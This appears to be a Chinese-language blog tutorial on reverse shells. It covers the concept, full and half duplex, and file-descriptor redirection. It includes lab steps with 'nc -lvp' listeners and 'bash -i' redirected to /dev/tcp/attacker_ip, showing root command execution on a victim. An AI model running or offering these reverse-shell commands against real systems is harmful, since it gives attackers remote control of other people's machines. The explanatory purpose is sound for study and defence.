反弹shell(reverse shell)就是控制端监听在某TCP/UDP端口 , 被控端发起请求到该端口 , 并将其命令行的输入输出转到控制端 。
攻击者指定服务端 , 受害者主机主动连接攻击者的服务端程序 , 就叫反弹连接 。reverse shell与telnet , ssh等标准shell对应 , 本质上是网络概念的客户端与服务端的角色反转 。
深入理解文件描述符和重定向才能更好弄懂反弹shell 。
场景
1.某客户机中了你的网马 , 但是它在局域网内 , 你直接连接不了 。备注:
2.目标机器的ip动态改变 , 你不能持续控制 。
3.建立一个服务端让恶意程序主动连接 , 持久化 。
4.防火墙受限 , 不能由外向内建立连接(不接受外部连接) 。(通过传输层协议的全双工通信实现交互)
全双工传输 (Full-Duplex Transmissions)
交换机在发送数据的同时也能够接收数据 , 两者同步进行 , 这好像我们平时打电话一样 , 说话的同时也能够听到对方的声音 。目前的交换机都支持全双工 。
单工数据传输只支持数据在一个方向上传输;在同一时间只有一方能接受或发送信息 , 不能实现双向通信 , 举例:电视 , 广播 , 计算机与打印机之间的通信是单工模式 。
半双工数据传输允许数据在两个方向上传输,但是,在某一时刻,只允许数据在一个方向上传输,它实际上是一种切换方向的单工通信;在同一时间只可以有一方接受或发送信息 , 可以实现双向通信 。举例:对讲机 。
WIKI的定义
全双工(full-duplex)的系统允许二台设备间同时进行双向数据传输 。一般的电话、手机就是全双工的系统 , 因为在讲话时同时也可以听到对方的声音 。全双工的系统可以用一般的双向车道形容 。两个方向的车辆因使用不同的车道 , 因此不会互相影响 。
实验测试一:
攻击端:
[root@attacker]# nc -lvp 2333 //第一步Connection from victim_ip:38712Docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255 ether XXXXXXXXXX txqueuelen 0 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.22.181.6 netmask 255.255.240.0 broadcast 172.22.191.255 inet6 fe80::216:3eff:fe0e:9d06 prefixlen 64 scopeid 0x20<link>//测试结果:实现了将受害端的标准输出重定向到攻击端 , 但是还没实现用命令控制受害端 。
受害端:[root@victim]# bash -i > /dev/tcp/attacker_ip/2333 //第二步[root@victim]# ifconfig //第三步[root@victim]#
测试二:攻击端:
[root@attacker]# nc -lvp 2333 //第一步Connection from victim_ip:38286hostname //第三步(攻击端执行命令)idwhoami
受害端:[root@victim]# bash -i < /dev/tcp/attacker_ip/2333 //第二步[root@victim]# hostname attacker[root@victim]# iduid=0(root) gid=0(root) groups=0(root)[root@victim]# whoamiroot[root@victim]#//测试结果:实现了将攻击端的输入重定向到受害端 , 但是攻击端看不到命令执行结果 。
底层原理输出重定向 > , 相当于 1> , 输入重定向 < , 相当于0< , 如果要使用错误输出 , 写成 2> 。例如 , 把正确的结果放到test.txt , 而把错误的结果放到test2.txt文件中:
文章插图
在正常输入的命令结尾加上2>&1 , 这个语句可以理解为将错误输出与标准输出一致 , 也就是将他们输出到一个文件中:
推荐阅读
- 几例实用shell脚本分享
- 高级互联网运维都需要掌握那些技术?
- 用荷叶怎么减肥,荷叶灰减肥会反弹吗怎么吃才能减肥呢
- 二年级励志名言名句?励志名言名句大全
- 两个方法干掉代码中那些复杂的if-else
- SQL—大数据环境的重要工具
- 浣碧的演员,浣碧演过什么电视剧
- 帕金森按摩那些六位
- 小白7天掌握Shell编程:脚本的创建和执行
- 那些惊艳的算法—时间轮算法